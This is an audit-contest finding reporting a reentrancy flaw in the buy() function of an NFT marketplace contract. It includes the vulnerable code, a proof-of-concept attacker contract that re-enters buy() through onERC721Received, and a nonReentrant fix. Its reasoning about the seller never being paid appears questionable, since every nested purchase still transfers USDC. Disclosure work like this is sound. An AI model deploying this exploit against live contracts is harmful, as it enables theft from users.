NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: medium

Reentrancy possible in buy() leading to a loss of NFT for the seller without payment

Author Revealed upon completion

Root + Impact

Description

Reentrancy possible in buy() leading to a loss of NFT for the seller without payment.

https://github.com/CodeHawks-Contests/2026-03-NFT-dealers/blob/main/src/NFTDealers.sol#L141-L155

function buy(uint256 _listingId) external payable { // <-- Missing nonReentrant Modifier
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
​
activeListingsCounter--;
​
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, ""); // <-- This can trigger a reentrancy
​
s_listings[_listingId].isActive = false;
​
emit NFT_Dealers_Sold(msg.sender, listing.price);
}


When the buyer is a contract, _safeTransfer() from ERC721 will trigger a callback function to check if the contract is able to handle NFTs, which is : onERC721Received().
-> This onERC721Received() can trigger a reentrancy on buy() to ask for a second (or multiple) NFTs. Therefore, only the last one will set s_listings[_listingId].isActive = false;. Leaving the previous NFTs at an active state. Yet, activeListingsCounter will still be decremented.

More details about the Reentrancy in the buy() function :

1st : Leading to a mismatch between activeListingsCounter and the actual NFTs being still active.


2nd : There could be 1 or mutliple NFTs actually sold, but still being registered as active in the listing. Which results in :


Impact --> The seller will not be able to collect usdc from the selling, they will lose their NFT and never get paid.
Plus they will lose the collateral. The seller could call cancelListing() afterward and only get back the collateral, but not the NFT. The problem is why would they do that if they are not even aware that their NFT has been sold ?!

If this user checks their wallet they could notice but if they only rely on the Logs they would miss it because there is a flaw in the Log events.

Problem concerning the Logs:

emit NFT_Dealers_Sold(msg.sender, listing.price); will only show the Log for the last NFT sold in the loop.
So tracking real sellings from outside of the blockchain using Logs would be compromised.

Side note:


https://github.com/CodeHawks-Contests/2026-03-NFT-dealers/blob/main/src/NFTDealers.sol#L181

-> usdc.safeTransfer(address(this), fees); this could be avoided to save gas.

Risk

Likelihood: Medium

  • The reentrancy is easy to do, it only needs a smart contract with a callback function onERC721Received() that triggers buy() multiple times when it receives a NFT.

Impact: High

  • Loss of funds for the seller (they will never get the funds from the selling)

  • Loss of their NFT

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
​
interface INFTDealers {
function buy(uint256 listingId) external payable;
}
​
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
}
​
contract ReentrancyAttacker {
INFTDealers public target;
IERC20 public usdc;
​
uint256 public currentListingId;
uint256 public reentryCount;
uint256 public maxReentry;
​
constructor(address _target, address _usdc) {
target = INFTDealers(_target);
usdc = IERC20(_usdc);
}
​
function attack(uint256 _startListingId, uint256 _maxReentry) external {
currentListingId = _startListingId;
maxReentry = _maxReentry;
​
// Approve once
usdc.approve(address(target), type(uint256).max);
​
// Initial buy
target.buy(currentListingId);
}
​
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4) {
​
if (reentryCount < maxReentry) {
reentryCount++;
​
// Move to the NEXT listing
currentListingId++;
​
// Reenter with a DIFFERENT listingId
target.buy(currentListingId);
}
​
return this.onERC721Received.selector;
}
}

Recommended Mitigation

Add a nonReentrant modifier for the buy() function.

- function buy(uint256 _listingId) external payable {
+ function buy(uint256 _listingId) external payable nonReentrant {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
​
activeListingsCounter--;
​
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
​
s_listings[_listingId].isActive = false;
​
emit NFT_Dealers_Sold(msg.sender, listing.price);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!